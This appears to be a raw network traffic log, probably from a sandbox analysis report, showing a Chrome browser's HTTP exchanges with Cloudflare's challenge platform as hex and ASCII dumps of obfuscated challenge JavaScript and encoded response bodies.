2025-01-10 18:04:51 UTC	1369	IN	Data Raw: 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 79 7a 5a 50 5a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 7c 69 7d 2c 27 6b 62 72 68 6b 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 70 6f 69 64 61 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 50 6c 48 76 63 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 61 74 64 58 65 27 3a 67 4b 28 38 34 39 29 2c 27 56 5a 47 6a 58 27 3a 67 4b 28 31 35 32 33 29 2c 27 59 51 61 4d 6b 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 5a 47 75 57 57 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 2a 68 Data Ascii: h,i){return h(i)},'yzZPZ':function(h,i){return h\|i},'kbrhk':function(h,i){return h<i},'poida':function(h,i){return h-i},'PlHvc':function(h,i){return h(i)},'atdXe':gK(849),'VZGjX':gK(1523),'YQaMk':function(h,i){return i==h},'ZGuWW':function(h,i){return i*h
2025-01-10 18:04:51 UTC	1369	IN	Data Raw: 49 2c 6a 2d 31 29 3f 28 49 3d 30 2c 47 5b 67 4d 28 31 33 32 36 29 5d 28 64 5b 67 4d 28 31 35 35 38 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4f 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 65 6c 73 65 7b 66 6f 72 28 4f 3d 31 2c 73 3d 30 3b 73 3c 46 3b 48 3d 64 5b 67 4d 28 37 34 38 29 5d 28 48 3c 3c 31 2e 38 38 2c 4f 29 2c 6a 2d 31 3d 3d 49 3f 28 49 3d 30 2c 47 5b 67 4d 28 31 33 32 36 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4f 3d 30 2c 73 2b 2b 29 3b 66 6f 72 28 4f 3d 43 5b 67 4d 28 31 37 39 33 29 5d 28 30 29 2c 73 3d 30 3b 31 36 3e 73 3b 48 3d 31 2e 38 33 26 4f 7c 48 3c 3c 31 2e 38 39 2c 64 5b 67 4d 28 31 32 36 34 29 5d 28 49 2c 6a 2d 31 29 3f 28 49 3d 30 2c 47 5b 67 4d 28 31 33 32 36 29 5d 28 64 5b 67 4d 28 38 33 30 29 5d 28 6f 2c 48 29 29 Data Ascii: I,j-1)?(I=0,G[gM(1326)](d[gM(1558)](o,H)),H=0):I++,O>>=1,s++);}else{for(O=1,s=0;s<F;H=d[gM(748)](H<<1.88,O),j-1==I?(I=0,G[gM(1326)](o(H)),H=0):I++,O=0,s++);for(O=C[gM(1793)](0),s=0;16>s;H=1.83&O\|H<<1.89,d[gM(1264)](I,j-1)?(I=0,G[gM(1326)](d[gM(830)](o,H))
2025-01-10 18:04:51 UTC	1369	IN	Data Raw: 39 33 29 5d 28 30 29 29 7b 66 6f 72 28 73 3d 30 3b 73 3c 46 3b 48 3c 3c 3d 31 2c 64 5b 67 4d 28 34 36 34 29 5d 28 49 2c 6a 2d 31 29 3f 28 49 3d 30 2c 47 5b 67 4d 28 31 33 32 36 29 5d 28 64 5b 67 4d 28 31 35 35 38 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 73 2b 2b 29 3b 66 6f 72 28 4f 3d 43 5b 67 4d 28 31 37 39 33 29 5d 28 30 29 2c 73 3d 30 3b 38 3e 73 3b 48 3d 64 5b 67 4d 28 31 38 31 36 29 5d 28 64 5b 67 4d 28 31 38 35 36 29 5d 28 48 2c 31 29 2c 64 5b 67 4d 28 35 37 34 29 5d 28 4f 2c 31 29 29 2c 6a 2d 31 3d 3d 49 3f 28 49 3d 30 2c 47 5b 67 4d 28 31 33 32 36 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4f 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 65 6c 73 65 7b 66 6f 72 28 4f 3d 31 2c 73 3d 30 3b 64 5b 67 4d 28 31 38 36 35 29 5d 28 73 2c 46 29 Data Ascii: 93)](0)){for(s=0;s<F;H<<=1,d[gM(464)](I,j-1)?(I=0,G[gM(1326)](d[gM(1558)](o,H)),H=0):I++,s++);for(O=C[gM(1793)](0),s=0;8>s;H=d[gM(1816)](d[gM(1856)](H,1),d[gM(574)](O,1)),j-1==I?(I=0,G[gM(1326)](o(H)),H=0):I++,O>>=1,s++);}else{for(O=1,s=0;d[gM(1865)](s,F)
2025-01-10 18:04:51 UTC	1369	IN	Data Raw: 65 27 30 27 3a 49 3e 3e 3d 31 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 27 3a 4b 7c 3d 28 64 5b 67 51 28 31 38 36 35 29 5d 28 30 2c 4f 29 3f 31 3a 30 29 2a 47 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 32 27 3a 64 5b 67 51 28 31 31 35 30 29 5d 28 30 2c 49 29 26 26 28 49 3d 6a 2c 48 3d 6f 28 4a 2b 2b 29 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 33 27 3a 47 3c 3c 3d 31 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 34 27 3a 4f 3d 48 26 49 3b 63 6f 6e 74 69 6e 75 65 7d 62 72 65 61 6b 7d 7d 65 6c 73 65 7b 69 66 28 32 35 36 3e 61 77 5b 67 51 28 31 37 39 33 29 5d 28 30 29 29 7b 66 6f 72 28 62 48 3d 30 3b 62 49 3c 62 4a 3b 62 4c 3c 3c 3d 31 2c 62 4d 3d 3d 62 4e 2d 31 3f 28 62 4f 3d 30 2c 62 50 5b 67 51 28 31 33 32 36 29 5d 28 62 51 28 62 52 29 29 2c Data Ascii: e'0':I>>=1;continue;case'1':K\|=(d[gQ(1865)](0,O)?1:0)*G;continue;case'2':d[gQ(1150)](0,I)&&(I=j,H=o(J++));continue;case'3':G<<=1;continue;case'4':O=H&I;continue}break}}else{if(256>aw[gQ(1793)](0)){for(bH=0;bI<bJ;bL<<=1,bM==bN-1?(bO=0,bP[gQ(1326)](bQ(bR)),
2025-01-10 18:04:51 UTC	1369	IN	Data Raw: 47 3c 3c 3d 31 29 3b 78 5b 43 2b 2b 5d 3d 65 28 4b 29 2c 50 3d 64 5b 67 51 28 37 34 35 29 5d 28 43 2c 31 29 2c 42 2d 2d 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 3a 66 6f 72 28 4b 3d 30 2c 4c 3d 4d 61 74 68 5b 67 51 28 31 30 31 36 29 5d 28 32 2c 31 36 29 2c 47 3d 31 3b 64 5b 67 51 28 35 32 32 29 5d 28 47 2c 4c 29 3b 4f 3d 64 5b 67 51 28 38 30 36 29 5d 28 48 2c 49 29 2c 49 3e 3e 3d 31 2c 49 3d 3d 30 26 26 28 49 3d 6a 2c 48 3d 64 5b 67 51 28 31 35 35 38 29 5d 28 6f 2c 4a 2b 2b 29 29 2c 4b 7c 3d 64 5b 67 51 28 37 39 38 29 5d 28 30 3c 4f 3f 31 3a 30 2c 47 29 2c 47 3c 3c 3d 31 29 3b 78 5b 43 2b 2b 5d 3d 65 28 4b 29 2c 50 3d 64 5b 67 51 28 36 38 38 29 5d 28 43 2c 31 29 2c 42 2d 2d 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 20 45 5b 67 51 28 31 37 Data Ascii: G<<=1);x[C++]=e(K),P=d[gQ(745)](C,1),B--;break;case 1:for(K=0,L=Math[gQ(1016)](2,16),G=1;d[gQ(522)](G,L);O=d[gQ(806)](H,I),I>>=1,I==0&&(I=j,H=d[gQ(1558)](o,J++)),K\|=d[gQ(798)](0<O?1:0,G),G<<=1);x[C++]=e(K),P=d[gQ(688)](C,1),B--;break;case 2:return E[gQ(17
2025-01-10 18:04:51 UTC	1369	IN	Data Raw: 30 36 29 5d 28 68 5b 44 5d 29 2c 67 56 28 31 37 36 37 29 3d 3d 3d 69 2b 44 3f 73 28 69 2b 44 2c 45 29 3a 46 7c 7c 73 28 69 2b 44 2c 68 5b 44 5d 29 29 3a 73 28 69 2b 44 2c 45 29 2c 43 2b 2b 29 3b 72 65 74 75 72 6e 20 6a 3b 66 75 6e 63 74 69 6f 6e 20 73 28 47 2c 48 2c 67 55 29 7b 67 55 3d 62 2c 4f 62 6a 65 63 74 5b 67 55 28 36 36 37 29 5d 5b 67 55 28 31 34 35 33 29 5d 5b 67 55 28 31 39 31 30 29 5d 28 6a 2c 48 29 7c 7c 28 6a 5b 48 5d 3d 5b 5d 29 2c 6a 5b 48 5d 5b 67 55 28 31 33 32 36 29 5d 28 47 29 7d 7d 2c 65 55 3d 67 4a 28 37 36 37 29 5b 67 4a 28 38 32 32 29 5d 28 27 3b 27 29 2c 65 56 3d 65 55 5b 67 4a 28 31 33 37 33 29 5d 5b 67 4a 28 31 30 38 35 29 5d 28 65 55 29 2c 65 4d 5b 67 4a 28 34 31 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c 67 58 2c 69 2c Data Ascii: 06)](h[D]),gV(1767)===i+D?s(i+D,E):F\|\|s(i+D,h[D])):s(i+D,E),C++);return j;function s(G,H,gU){gU=b,Object[gU(667)][gU(1453)][gU(1910)](j,H)\|\|(j[H]=[]),j[H][gU(1326)](G)}},eU=gJ(767)[gJ(822)](';'),eV=eU[gJ(1373)][gJ(1085)](eU),eM[gJ(413)]=function(g,h,gX,i,
2025-01-10 18:04:51 UTC	1369	IN	Data Raw: 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 65 3d 64 2c 66 3d 31 2c 67 3d 65 5b 68 31 28 33 39 36 29 5d 28 31 65 33 2c 65 4d 5b 68 31 28 37 34 30 29 5d 5b 68 31 28 35 35 37 29 5d 28 65 5b 68 31 28 39 36 31 29 5d 28 32 2c 66 29 2c 33 32 29 29 2c 65 4d 5b 68 31 28 31 31 33 37 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 32 29 7b 68 32 3d 68 31 2c 65 4d 5b 65 5b 68 32 28 31 39 30 35 29 5d 5d 26 26 28 65 4d 5b 68 32 28 39 37 39 29 5d 5b 68 32 28 37 31 38 29 5d 28 29 2c 65 4d 5b 68 32 28 39 37 39 29 5d 5b 68 32 28 31 33 37 37 29 5d 28 29 2c 65 4d 5b 68 32 28 31 37 32 31 29 5d 3d 21 21 5b 5d 2c 65 4d 5b 68 32 28 31 31 37 39 29 5d 5b 68 32 28 31 35 30 32 29 5d 28 7b 27 73 6f 75 72 63 65 27 3a 68 32 28 37 38 38 29 2c 27 77 69 64 67 65 74 49 Data Ascii: ction(h,i){return h<<i},e=d,f=1,g=e[h1(396)](1e3,eM[h1(740)][h1(557)](e[h1(961)](2,f),32)),eM[h1(1137)](function(h2){h2=h1,eM[e[h2(1905)]]&&(eM[h2(979)][h2(718)](),eM[h2(979)][h2(1377)](),eM[h2(1721)]=!![],eM[h2(1179)][h2(1502)]({'source':h2(788),'widgetI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	49732	104.18.94.41	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:04:51 UTC	1171	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1120917298:1736529426:TPD1bQ9AIEZMjnE_a_w72TH4JrPyWqpr_ya02KG-AqU/8ffe977e4cfef78d/h0yoRtoHt5sb3AAlO3AHxLxC7AKofDDqL5Ai9T4BfYY-1736532290-1.1.1.1-E4eDpNQMeb6Q5SyYa3Z6Ie8h7weFT7Fmw0VQ17C2HrXK4txa2isGp_DWXg67b7hp HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3207 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: h0yoRtoHt5sb3AAlO3AHxLxC7AKofDDqL5Ai9T4BfYY-1736532290-1.1.1.1-E4eDpNQMeb6Q5SyYa3Z6Ie8h7weFT7Fmw0VQ17C2HrXK4txa2isGp_DWXg67b7hp sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/ojacm/0x4AAAAAAA0rfpQOBx227C7S/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 18:04:51 UTC	3207	OUT	Data Raw: 76 5f 38 66 66 65 39 37 37 65 34 63 66 65 66 37 38 64 3d 62 6b 52 44 5a 44 34 44 67 44 72 44 71 25 32 62 59 61 2b 59 33 44 2b 43 6e 70 56 54 43 59 47 2b 4c 4c 59 53 77 59 6e 42 44 2b 6d 59 50 44 6e 52 54 6e 51 6d 52 59 57 66 6d 59 39 35 2b 4b 62 59 68 44 2b 33 52 59 6e 6c 75 6b 2d 6f 59 6c 70 59 4a 59 2b 6b 59 6c 52 6a 42 59 77 59 2d 42 6e 4c 59 70 42 66 52 59 67 56 43 2d 54 57 59 41 57 66 71 79 48 53 53 58 31 59 6b 4a 42 2d 4f 59 4e 4c 61 46 31 38 44 65 57 31 59 51 44 6e 34 24 59 68 61 31 49 30 59 6e 24 70 59 2b 46 59 62 73 6c 4f 62 4d 54 57 59 2d 51 4d 51 33 43 47 52 46 2b 76 65 63 5a 69 44 6e 6c 64 39 35 44 4c 42 2d 6c 59 6c 79 6a 54 48 67 74 54 4a 2b 47 54 5a 68 70 59 2d 49 6b 31 4a 77 65 59 65 41 6a 4d 31 68 4c 51 53 4d 6b 38 59 2d 4b 56 4d 70 42 59 Data Ascii: v_8ffe977e4cfef78d=bkRDZD4DgDrDq%2bYa+Y3D+CnpVTCYG+LLYSwYnBD+mYPDnRTnQmRYWfmY95+KbYhD+3RYnluk-oYlpYJY+kYlRjBYwY-BnLYpBfRYgVC-TWYAWfqyHSSX1YkJB-OYNLaF18DeW1YQDn4$Yha1I0Yn$pY+FYbslObMTWY-QMQ3CGRF+vecZiDnld95DLB-lYlyjTHgtTJ+GTZhpY-Ik1JweYeAjM1hLQSMk8Y-KVMpBY
2025-01-10 18:04:52 UTC	751	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:04:52 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 153144 Connection: close cf-chl-gen: kFpMYGGT80TAyT7dT5KcvL1XWl2Owv4Oe2jqMFFMtv4+UF8IdqCqSe9xCR+VdlynnPUrFeFA4j/ONNQNRuL6W/HWMpCAdiT84BXAQFiU9snoFeLxtgi5yg6kLA1aPhstUb+lkUBuh9aciq9mlcfSug4mz9pv3IoCDrmkxhKPoo/+gi68vjzN2f/GstiMusm1jPUQRtGmdMt6VlLN1ToQeGJXt8Fi9N8d8nRDlkVe33RXy++qlzqGvs+mdtJHRwQKExeHA3KFAd9SIjHOfxPg/KhOUm9s28/jkit2kSc2UhQizu0UQP1Y3G2SIURqDvjrt4dwrK2ew/rVe/KuzDgWx+Gz3AMvgGyK4uR21arjbEKsUFmBkLfMTWBFZX1JiGq/qd8h7Il3OCUmiah+S3HjfUNRRGTZO/7h3eQgb7iDSK7ZsN6iXYFyuopfZWCGy/UR1144cqLxFZuSTFZmlYfFyvUZDkgvT2Xoq12e7CcKs8g=$u4QYTQ49UPeh3M4ZJBhEXA== Server: cloudflare CF-RAY: 8ffe9788cd858c89-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 18:04:52 UTC	618	IN	Data Raw: 62 47 56 75 53 59 42 52 54 34 57 4e 6a 33 6d 63 6d 47 70 79 62 46 36 65 6b 31 31 61 6b 6f 2b 6a 6e 57 53 69 64 6f 47 6e 6e 32 35 6e 6e 34 53 67 72 58 53 54 67 71 4f 76 71 72 47 7a 65 70 6d 71 66 6f 43 62 6a 71 2b 43 6f 4a 2b 39 71 62 2f 49 79 34 53 6a 69 4d 79 4d 30 73 62 47 6c 5a 44 55 6a 37 57 77 70 64 4c 46 74 4b 33 56 77 63 72 4f 32 4c 65 30 75 36 61 70 73 37 62 61 77 4e 62 4a 34 61 2f 61 7a 65 54 56 31 4c 44 6e 38 63 6a 6d 75 72 33 54 79 75 76 68 38 72 37 2b 77 77 63 49 77 66 58 41 35 65 54 48 36 4f 6b 41 43 50 34 45 42 41 7a 30 36 2f 6e 55 36 41 51 52 32 66 66 76 30 74 33 62 41 42 33 6b 42 68 48 31 42 52 51 4c 4b 51 77 44 48 2b 34 75 45 69 6a 7a 36 77 49 72 38 69 59 77 4d 67 55 30 2f 68 55 61 45 54 6b 68 4f 66 30 6b 50 51 49 63 46 77 64 48 44 6a 30 Data Ascii: bGVuSYBRT4WNj3mcmGpybF6ek11ako+jnWSidoGnn25nn4SgrXSTgqOvqrGzepmqfoCbjq+CoJ+9qb/Iy4SjiMyM0sbGlZDUj7WwpdLFtK3VwcrO2Le0u6aps7bawNbJ4a/azeTV1LDn8cjmur3Tyuvh8r7+wwcIwfXA5eTH6OkACP4EBAz06/nU6AQR2ffv0t3bAB3kBhH1BRQLKQwDH+4uEijz6wIr8iYwMgU0/hUaETkhOf0kPQIcFwdHDj0
2025-01-10 18:04:52 UTC	1369	IN	Data Raw: 39 5a 59 54 4e 58 48 79 59 6f 56 6b 4d 36 59 32 6f 6d 59 55 59 36 5a 47 6c 6f 54 57 77 31 53 6b 64 72 57 33 78 37 63 32 73 32 61 6e 43 41 66 30 47 41 68 59 4a 62 65 6c 52 66 65 31 5a 72 65 4a 42 61 63 32 78 31 68 48 64 50 63 6c 6c 53 6a 6d 2b 51 6c 35 53 4e 62 70 61 4e 6c 4a 46 68 6b 58 35 6d 6e 36 69 66 67 48 75 6a 65 6f 39 2b 6e 5a 32 45 73 62 5a 78 6d 4c 71 45 71 59 36 38 73 4c 53 37 6e 35 47 51 6d 49 4f 48 73 63 75 6d 68 4c 75 64 74 36 2b 79 70 6f 32 4c 69 37 44 52 6c 5a 65 73 32 39 50 4b 30 74 69 66 77 71 71 68 7a 38 44 46 77 38 6e 42 35 38 44 67 71 37 2b 70 7a 65 72 76 77 66 48 46 36 38 33 7a 79 38 6e 52 39 38 72 4e 31 66 76 51 30 64 6b 41 30 39 58 64 42 4f 4c 5a 34 51 6a 6f 33 65 55 4d 35 75 48 70 45 4f 6e 6c 37 52 54 77 36 66 45 59 38 2b 33 31 48 Data Ascii: 9ZYTNXHyYoVkM6Y2omYUY6ZGloTWw1SkdrW3x7c2s2anCAf0GAhYJbelRfe1ZreJBac2x1hHdPcllSjm+Ql5SNbpaNlJFhkX5mn6ifgHujeo9+nZ2EsbZxmLqEqY68sLS7n5GQmIOHscumhLudt6+ypo2Li7DRlZes29PK0tifwqqhz8DFw8nB58Dgq7+pzervwfHF683zy8nR98rN1fvQ0dkA09XdBOLZ4Qjo3eUM5uHpEOnl7RTw6fEY8+31H
2025-01-10 18:04:52 UTC	1369	IN	Data Raw: 57 57 7a 78 4c 50 31 64 4a 54 47 30 36 4d 6b 68 75 59 47 46 69 5a 7a 63 31 4e 6e 78 32 53 56 79 42 65 6c 31 4d 68 58 35 68 68 6f 6d 43 5a 58 71 4e 68 6d 78 69 61 32 4a 73 6a 4a 4f 4f 54 34 32 5a 6c 6c 52 78 6c 6c 4e 36 57 31 32 43 62 33 79 45 6c 70 75 55 6b 5a 79 58 69 6f 32 66 5a 49 36 52 70 6d 69 53 6c 61 6c 73 6c 70 6d 76 63 4a 71 64 74 58 53 65 6f 62 78 34 6f 71 57 2f 77 6f 2b 6d 75 59 61 65 75 38 53 72 6e 72 43 6d 78 61 4c 42 71 63 6d 6d 73 71 36 36 33 4b 75 75 33 38 6e 68 77 4a 71 77 32 71 48 6e 6e 70 36 30 71 73 4f 6e 77 62 66 4a 37 71 50 51 34 4d 44 64 33 74 66 51 79 73 6e 4c 74 74 75 35 75 65 75 2b 37 76 6a 58 42 77 53 2f 33 4e 6b 4d 34 4f 50 71 33 76 6f 4b 34 75 76 70 2f 74 37 6d 7a 78 72 6b 46 4f 37 4f 45 68 63 59 49 65 38 64 34 43 45 67 49 53 Data Ascii: WWzxLP1dJTG06MkhuYGFiZzc1Nnx2SVyBel1MhX5hhomCZXqNhmxia2JsjJOOT42ZllRxllN6W12Cb3yElpuUkZyXio2fZI6RpmiSlalslpmvcJqdtXSeobx4oqW/wo+muYaeu8SrnrCmxaLBqcmmsq663Kuu38nhwJqw2qHnnp60qsOnwbfJ7qPQ4MDd3tfQysnLttu5ueu+7vjXBwS/3NkM4OPq3voK4uvp/t7mzxrkFO7OEhcYIe8d4CEgIS
2025-01-10 18:04:52 UTC	1369	IN	Data Raw: 52 57 74 46 51 55 6c 76 54 45 56 4e 63 30 39 4a 55 58 64 64 65 56 4e 7a 55 33 39 52 67 57 31 33 58 54 35 7a 52 34 78 4c 69 33 79 45 62 30 31 62 67 6d 70 71 6b 59 39 30 57 59 57 50 64 31 32 4a 6b 34 31 68 6a 5a 65 46 57 33 74 36 70 59 70 39 61 36 46 35 59 4b 52 38 6a 5a 71 62 68 71 79 4c 6b 36 32 45 67 33 57 73 72 6e 6d 2f 6e 4d 47 55 6e 4d 4b 67 6d 4a 2b 6b 6e 62 2b 7a 69 6f 32 4c 77 73 4f 37 69 71 53 39 78 73 47 52 79 61 2f 46 30 39 79 36 73 4b 37 4d 6e 39 32 79 75 5a 65 35 70 39 6d 31 6e 4f 43 34 79 4e 62 58 78 75 6a 48 76 2b 6a 6e 76 37 48 30 36 72 4c 73 78 4f 6e 53 37 67 48 4c 39 2b 76 43 78 4d 50 6b 2b 2f 50 43 32 2f 76 61 77 4f 50 75 44 4f 6f 49 2f 41 66 72 47 51 72 79 32 52 58 79 30 39 62 2b 45 74 38 43 2b 79 55 66 38 66 51 71 49 77 59 72 4c 69 63 Data Ascii: RWtFQUlvTEVNc09JUXddeVNzU39RgW13XT5zR4xLi3yEb01bgmpqkY90WYWPd12Jk41hjZeFW3t6pYp9a6F5YKR8jZqbhqyLk62Eg3Wsrnm/nMGUnMKgmJ+knb+zio2LwsO7iqS9xsGRya/F09y6sK7Mn92yuZe5p9m1nOC4yNbXxujHv+jnv7H06rLsxOnS7gHL9+vCxMPk+/PC2/vawOPuDOoI/AfrGQry2RXy09b+Et8C+yUf8fQqIwYrLic
2025-01-10 18:04:52 UTC	1369	IN	Data Raw: 55 46 41 4c 30 31 4b 4e 44 4a 62 56 6a 70 58 54 48 74 56 63 49 42 2f 57 31 36 44 69 45 56 59 65 48 78 67 53 55 69 4d 6a 47 56 72 59 33 42 31 63 6e 47 4a 5a 33 32 47 63 33 6d 63 63 6f 2b 66 62 6e 4f 6a 6c 57 56 36 59 34 74 31 70 59 2b 68 66 4b 75 67 62 6f 79 55 69 34 39 79 68 6e 4b 4d 74 35 43 4e 6c 4a 36 32 65 35 47 35 66 35 6d 55 68 4a 79 43 77 4d 36 4d 7a 6f 75 37 6e 61 37 53 70 71 47 77 31 72 69 6d 79 73 71 37 71 35 6d 66 75 4b 71 68 74 5a 66 50 74 72 33 6c 79 38 72 4e 77 73 6d 38 78 64 76 4e 36 4e 58 6d 30 63 50 6a 7a 74 58 4a 30 64 48 65 75 65 48 52 32 37 72 45 30 77 54 62 76 75 50 62 78 65 6b 48 32 41 33 37 34 4f 33 37 38 65 4d 4d 35 50 66 59 46 74 6b 61 35 64 58 32 32 78 2f 62 41 50 6e 64 48 66 63 48 49 43 48 6d 35 68 6e 6d 37 4f 6f 4a 44 76 49 4d Data Ascii: UFAL01KNDJbVjpXTHtVcIB/W16DiEVYeHxgSUiMjGVrY3B1cnGJZ32Gc3mcco+fbnOjlWV6Y4t1pY+hfKugboyUi49yhnKMt5CNlJ62e5G5f5mUhJyCwM6Mzou7na7SpqGw1rimysq7q5mfuKqhtZfPtr3ly8rNwsm8xdvN6NXm0cPjztXJ0dHeueHR27rE0wTbvuPbxekH2A374O378eMM5PfYFtka5dX22x/bAPndHfcHICHm5hnm7OoJDvIM
2025-01-10 18:04:52 UTC	1369	IN	Data Raw: 35 6d 54 54 56 57 67 46 35 32 64 33 4e 6c 5a 47 6c 66 65 45 4e 70 59 57 71 51 54 33 46 62 58 6f 79 55 59 33 5a 32 69 6e 6c 36 6b 46 65 4e 57 59 71 65 58 57 42 75 62 34 36 47 63 61 53 4c 6f 47 69 48 6a 36 4f 4e 70 61 43 78 64 4a 57 50 68 71 32 34 68 35 71 61 72 70 32 65 74 48 75 78 66 61 37 43 67 59 53 5a 79 72 4f 5a 69 4d 4f 76 69 4a 33 50 76 37 48 49 76 37 47 30 31 61 4b 61 73 4e 61 74 6e 5a 79 39 76 62 2f 56 70 4d 2f 50 78 4d 69 66 75 4d 50 45 71 4f 6a 49 78 61 6e 6f 34 2b 47 7a 73 73 7a 6a 30 75 33 6f 32 4f 76 54 30 62 4b 2f 32 2f 4c 6b 32 4e 58 69 42 64 66 30 44 4d 72 2b 79 4f 4d 4f 38 63 7a 6f 36 4e 38 59 37 4f 2f 77 31 50 48 57 2b 78 77 66 45 2b 33 33 48 66 41 42 45 68 44 34 48 39 77 43 43 41 73 4c 45 52 44 70 41 2f 41 69 38 2f 49 4e 45 68 4d 75 45 Data Ascii: 5mTTVWgF52d3NlZGlfeENpYWqQT3FbXoyUY3Z2inl6kFeNWYqeXWBub46GcaSLoGiHj6ONpaCxdJWPhq24h5qarp2etHuxfa7CgYSZyrOZiMOviJ3Pv7HIv7G01aKasNatnZy9vb/VpM/PxMifuMPEqOjIxano4+Gzsszj0u3o2OvT0bK/2/Lk2NXiBdf0DMr+yOMO8czo6N8Y7O/w1PHW+xwfE+33HfABEhD4H9wCCAsLERDpA/Ai8/INEhMuE
2025-01-10 18:04:52 UTC	1369	IN	Data Raw: 6b 58 7a 64 57 66 33 56 46 52 6d 42 37 5a 6f 46 46 53 34 47 4a 53 59 6d 48 54 6b 39 6d 65 56 43 4c 62 70 4a 51 69 33 74 2f 66 6f 53 64 56 33 61 66 6c 57 56 6d 67 49 6d 47 6f 35 78 72 6f 59 65 46 62 58 4f 52 70 71 36 4d 69 59 52 37 71 34 36 75 6e 48 2b 79 66 5a 6a 43 67 5a 79 43 74 4a 4c 47 74 61 71 47 79 71 66 52 30 37 36 39 72 74 50 56 6c 36 57 77 32 35 4b 35 33 62 61 35 34 4b 2b 79 6f 64 4c 68 75 72 4c 6d 77 38 54 4d 77 4c 32 36 37 4d 54 63 38 36 72 6a 73 4f 4b 76 77 37 4c 32 32 39 75 31 74 64 50 57 75 76 37 53 75 39 45 47 34 4d 62 64 79 2b 66 5a 31 73 6e 63 37 51 41 4c 78 73 77 51 45 4e 6a 6d 35 77 6f 58 43 50 54 62 34 43 50 32 48 39 6f 47 33 68 4d 49 4b 69 77 57 48 67 76 6f 42 42 41 54 41 44 51 69 46 54 41 69 46 6a 41 33 4f 79 67 53 4e 7a 34 69 4c 41 Data Ascii: kXzdWf3VFRmB7ZoFFS4GJSYmHTk9meVCLbpJQi3t/foSdV3aflWVmgImGo5xroYeFbXORpq6MiYR7q46unH+yfZjCgZyCtJLGtaqGyqfR0769rtPVl6Ww25K53ba54K+yodLhurLmw8TMwL267MTc86rjsOKvw7L229u1tdPWuv7Su9EG4Mbdy+fZ1snc7QALxswQENjm5woXCPTb4CP2H9oG3hMIKiwWHgvoBBATADQiFTAiFjA3OygSNz4iLA
2025-01-10 18:04:52 UTC	1369	IN	Data Raw: 61 46 78 34 57 34 56 68 62 6d 68 7a 58 32 31 4f 59 33 64 31 57 48 68 73 69 47 75 56 64 47 35 34 67 32 39 39 58 58 4f 48 68 57 69 49 66 4a 68 37 70 59 4b 73 69 4a 4e 2f 6a 57 79 44 6c 35 56 34 6d 49 79 6f 69 37 57 56 6a 70 69 6a 6a 35 36 51 6b 36 65 6c 69 4b 69 63 75 4a 76 46 70 4d 43 6f 73 35 2b 75 6e 36 4f 33 74 5a 69 34 72 4d 69 72 31 62 61 32 75 4d 4f 76 76 71 36 7a 78 38 57 6f 79 4d 44 63 71 4c 2f 66 36 38 72 50 77 65 4c 43 39 2f 58 71 34 64 58 4f 33 4f 62 54 37 74 6a 34 32 51 54 63 30 64 79 2f 35 74 62 33 32 50 7a 73 2f 51 6a 71 38 41 54 4d 37 65 45 44 42 2f 62 6d 43 4f 67 4e 2f 41 34 55 39 50 30 64 48 2f 76 76 33 65 62 37 38 65 48 37 37 43 41 49 2f 69 4d 50 49 68 4d 30 46 69 72 79 49 53 7a 30 44 50 77 77 47 41 38 76 48 7a 49 6a 52 43 59 36 41 7a 45 Data Ascii: 